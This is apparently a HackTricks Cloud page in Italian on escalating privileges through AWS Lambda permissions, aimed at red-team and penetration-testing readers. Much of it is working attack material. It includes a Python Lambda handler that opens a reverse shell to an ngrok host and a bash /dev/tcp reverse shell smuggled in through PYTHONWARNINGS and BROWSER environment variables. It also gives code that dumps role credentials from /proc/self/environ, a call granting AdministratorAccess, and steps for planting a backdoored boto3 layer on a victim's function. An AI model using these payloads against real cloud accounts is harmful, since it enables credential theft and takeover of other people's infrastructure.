AWS - Lambda Privesc
Reading time: 11 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
lambda
Maggiore informazione su lambda in:
iam:PassRole
, lambda:CreateFunction
, (lambda:InvokeFunction
| lambda:InvokeFunctionUrl
)
Gli utenti con i permessi iam:PassRole
, lambda:CreateFunction
e lambda:InvokeFunction
possono elevare i loro privilegi.
Possono creare una nuova funzione Lambda e assegnarle un ruolo IAM esistente, concedendo alla funzione i permessi associati a quel ruolo. L'utente può quindi scrivere e caricare codice su questa funzione Lambda (con una rev shell per esempio).
Una volta configurata la funzione, l'utente può attivare la sua esecuzione e le azioni previste invocando la funzione Lambda tramite l'API AWS. Questo approccio consente effettivamente all'utente di eseguire compiti indirettamente attraverso la funzione Lambda, operando con il livello di accesso concesso al ruolo IAM associato ad essa.\
Un attaccante potrebbe abusare di questo per ottenere una rev shell e rubare il token:
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"
# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip
# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL
# List roles
aws iam list-attached-user-policies --user-name <user-name>
Puoi anche abusare dei permessi del ruolo lambda dalla funzione lambda stessa.
Se il ruolo lambda avesse abbastanza permessi, potresti usarlo per concederti diritti di amministratore:
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
È anche possibile leakare le credenziali del ruolo della lambda senza necessitare di una connessione esterna. Questo sarebbe utile per Network isolated Lambdas utilizzate in compiti interni. Se ci sono gruppi di sicurezza sconosciuti che filtrano le tue reverse shells, questo pezzo di codice ti permetterà di leakare direttamente le credenziali come output della lambda.
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt
Impatto Potenziale: Privesc diretto al ruolo di servizio lambda arbitrario specificato.
caution
Nota che anche se potrebbe sembrare interessante lambda:InvokeAsync
non consente da solo di eseguire aws lambda invoke-async
, hai anche bisogno di lambda:InvokeFunction
iam:PassRole
, lambda:CreateFunction
, lambda:AddPermission
Come nel scenario precedente, puoi concederti il permesso lambda:InvokeFunction
se hai il permesso lambda:AddPermission
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
Impatto Potenziale: Privesc diretto al ruolo di servizio lambda arbitrario specificato.
iam:PassRole
, lambda:CreateFunction
, lambda:CreateEventSourceMapping
Gli utenti con permessi iam:PassRole
, lambda:CreateFunction
e lambda:CreateEventSourceMapping
(e potenzialmente dynamodb:PutItem
e dynamodb:CreateTable
) possono indirettamente escalare i privilegi anche senza lambda:InvokeFunction
.
Possono creare una funzione Lambda con codice malevolo e assegnarle un ruolo IAM esistente.
Invece di invocare direttamente la Lambda, l'utente configura o utilizza una tabella DynamoDB esistente, collegandola alla Lambda tramite una mappatura della sorgente evento. Questa configurazione garantisce che la funzione Lambda venga attivata automaticamente all'inserimento di un nuovo elemento nella tabella, sia per azione dell'utente che per un altro processo, attivando così indirettamente la funzione Lambda ed eseguendo il codice con i permessi del ruolo IAM passato.
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
Se DynamoDB è già attivo nell'ambiente AWS, l'utente deve solo stabilire il mapping della sorgente eventi per la funzione Lambda. Tuttavia, se DynamoDB non è in uso, l'utente deve creare una nuova tabella con lo streaming abilitato:
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
Ora è possibile collegare la funzione Lambda alla tabella DynamoDB creando un mapping della sorgente evento:
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
Con la funzione Lambda collegata al flusso DynamoDB, l'attaccante può attivare indirettamente la Lambda attivando il flusso DynamoDB. Questo può essere realizzato inserendo un elemento nella tabella DynamoDB:
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
Impatto Potenziale: Privesc diretto al ruolo di servizio lambda specificato.
lambda:AddPermission
Un attaccante con questo permesso può concedere a se stesso (o ad altri) qualsiasi permesso (questo genera politiche basate sulle risorse per concedere accesso alla risorsa):
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
Impatto Potenziale: Privesc diretto al ruolo di servizio lambda utilizzato concedendo il permesso di modificare il codice e eseguirlo.
lambda:AddLayerVersionPermission
Un attaccante con questo permesso può concedere a se stesso (o ad altri) il permesso lambda:GetLayerVersion
. Potrebbe accedere al layer e cercare vulnerabilità o informazioni sensibili.
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
Impatto Potenziale: Accesso potenziale a informazioni sensibili.
lambda:UpdateFunctionCode
Gli utenti che detengono il permesso lambda:UpdateFunctionCode
hanno il potenziale di modificare il codice di una funzione Lambda esistente collegata a un ruolo IAM.
L'attaccante può modificare il codice della lambda per esfiltrare le credenziali IAM.
Sebbene l'attaccante potrebbe non avere la capacità diretta di invocare la funzione, se la funzione Lambda è preesistente e operativa, è probabile che venga attivata attraverso flussi di lavoro o eventi esistenti, facilitando così indirettamente l'esecuzione del codice modificato.
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip
# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
Impatto Potenziale: Privesc diretto al ruolo del servizio lambda utilizzato.
lambda:UpdateFunctionConfiguration
RCE tramite variabili d'ambiente
Con questi permessi è possibile aggiungere variabili d'ambiente che causeranno l'esecuzione di codice arbitrario da parte della Lambda. Ad esempio, in python è possibile abusare delle variabili d'ambiente PYTHONWARNING
e BROWSER
per far eseguire a un processo python comandi arbitrari:
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
Per altri linguaggi di scripting ci sono altre variabili d'ambiente che puoi utilizzare. Per ulteriori informazioni controlla le sottosezioni dei linguaggi di scripting in:
macOS Process Abuse - HackTricks
RCE tramite Lambda Layers
Lambda Layers consente di includere codice nella tua funzione lambda ma memorizzandolo separatamente, in modo che il codice della funzione possa rimanere piccolo e diverse funzioni possano condividere codice.
All'interno di lambda puoi controllare i percorsi da cui viene caricato il codice python con una funzione come la seguente:
import json
import sys
def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
Questi sono i luoghi:
- /var/task
- /opt/python/lib/python3.7/site-packages
- /opt/python
- /var/runtime
- /var/lang/lib/python37.zip
- /var/lang/lib/python3.7
- /var/lang/lib/python3.7/lib-dynload
- /var/lang/lib/python3.7/site-packages
- /opt/python/lib/python3.7/site-packages
- /opt/python
Ad esempio, la libreria boto3 è caricata da /var/runtime/boto3
(4ª posizione).
Sfruttamento
È possibile abusare del permesso lambda:UpdateFunctionConfiguration
per aggiungere un nuovo layer a una funzione lambda. Per eseguire codice arbitrario, questo layer deve contenere qualche libreria che la lambda andrà a importare. Se puoi leggere il codice della lambda, potresti trovarlo facilmente, nota anche che potrebbe essere possibile che la lambda stia già utilizzando un layer e potresti scaricare il layer e aggiungere il tuo codice lì dentro.
Ad esempio, supponiamo che la lambda stia utilizzando la libreria boto3, questo creerà un layer locale con l'ultima versione della libreria:
pip3 install -t ./lambda_layer boto3
Puoi aprire ./lambda_layer/boto3/__init__.py
e aggiungere la backdoor nel codice globale (una funzione per esfiltrare credenziali o ottenere una reverse shell, ad esempio).
Poi, comprimi quella directory ./lambda_layer
e carica il nuovo layer lambda nel tuo account (o in quello delle vittime, ma potresti non avere i permessi per farlo).
Nota che devi creare una cartella python e mettere le librerie lì per sovrascrivere /opt/python/boto3. Inoltre, il layer deve essere compatibile con la versione di python utilizzata dalla lambda e se lo carichi nel tuo account, deve essere nella stessa regione:
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
Ora, rendi il layer lambda accessibile da qualsiasi account:
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
E allega il layer lambda alla funzione lambda della vittima:
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
Il passo successivo sarebbe invocare la funzione noi stessi se possiamo o aspettare che venga invocata con mezzi normali, che è il metodo più sicuro.
Un modo più furtivo per sfruttare questa vulnerabilità può essere trovato in:
AWS - Lambda Layers Persistence
Impatto Potenziale: Privesc diretto al ruolo del servizio lambda utilizzato.
iam:PassRole
, lambda:CreateFunction
, lambda:CreateFunctionUrlConfig
, lambda:InvokeFunctionUrl
Forse con quei permessi sei in grado di creare una funzione ed eseguirla chiamando l'URL... ma non sono riuscito a trovare un modo per testarlo, quindi fammi sapere se lo fai!
Lambda MitM
Alcuni lambda riceveranno informazioni sensibili dagli utenti nei parametri. Se ottieni RCE in uno di essi, puoi esfiltrare le informazioni che altri utenti stanno inviando, controlla in:
Riferimenti
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.